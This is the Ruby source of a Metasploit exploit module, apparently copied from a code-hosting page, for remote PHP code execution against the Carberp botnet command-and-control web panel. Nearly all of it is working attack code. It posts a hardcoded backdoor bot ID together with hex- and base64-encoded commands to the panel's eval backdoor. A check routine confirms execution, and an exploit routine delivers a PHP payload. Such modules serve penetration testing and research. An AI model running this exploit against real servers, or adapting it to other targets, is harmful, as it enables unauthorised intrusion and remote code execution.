87 lines
2.4 KiB
Ruby
87 lines
2.4 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => 'Carberp Web Panel C2 Backdoor Remote PHP Code Execution',
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'Description' => %q{
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This module exploits backdoors that can be found all over the leaked
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source code of the Carberp botnet C2 Web Panel.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'bwall(Brian Wallace) <bwallace[at]cylance.com>', # msf module
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'connection(Luis Santana) <hacktalkblog[at]gmail.com>', # exploit reporting
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'Steven K <xylitol[at]malwareint[d0t]com>' # discovery and reporting
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],
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'References' =>
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[
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['URL', 'http://www.xylibox.com/2013/06/carberp-remote-code-execution-carpwned.html']
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],
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'Privileged' => false,
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'Payload' =>
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{
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'Keys' => ['php'],
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'Space' => 10000,
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'DisableNops' => true
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},
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'Platform' => ['php'],
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'Arch' => ARCH_PHP,
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'Targets' =>
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[
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['carberp', {}]
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],
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'DisclosureDate' => 'Jun 28 2013',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI',[true, "The path to the backdoor, often just index.php", "/index.php"]),
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OptString.new('BOTID', [true, 'Hardcoded backdoor bot ID that can run PHP eval', 'BOTNETCHECKUPDATER0-WD8Sju5VR1HU8jlV']),
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],self.class)
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end
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def check
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confirm_string = rand_text_alpha(8)
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cmd = "echo '#{confirm_string}';"
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shell = http_send_command(cmd)
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check_code = Exploit::CheckCode::Safe
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if shell and shell.body.include?(confirm_string)
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check_code = Exploit::CheckCode::Vulnerable
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end
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check_code
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end
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def http_send_command(cmd)
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uri = normalize_uri(target_uri.path.to_s)
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request_parameters = {
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'method' => 'POST',
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'uri' => uri,
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'vars_post' =>
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{
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'id' => datastore['BOTID'],
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"data" => Rex::Text.encode_base64(cmd.unpack('H*'))
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}
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}
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res = send_request_cgi(request_parameters)
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res
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end
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def exploit
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http_send_command(payload.encoded)
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end
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end
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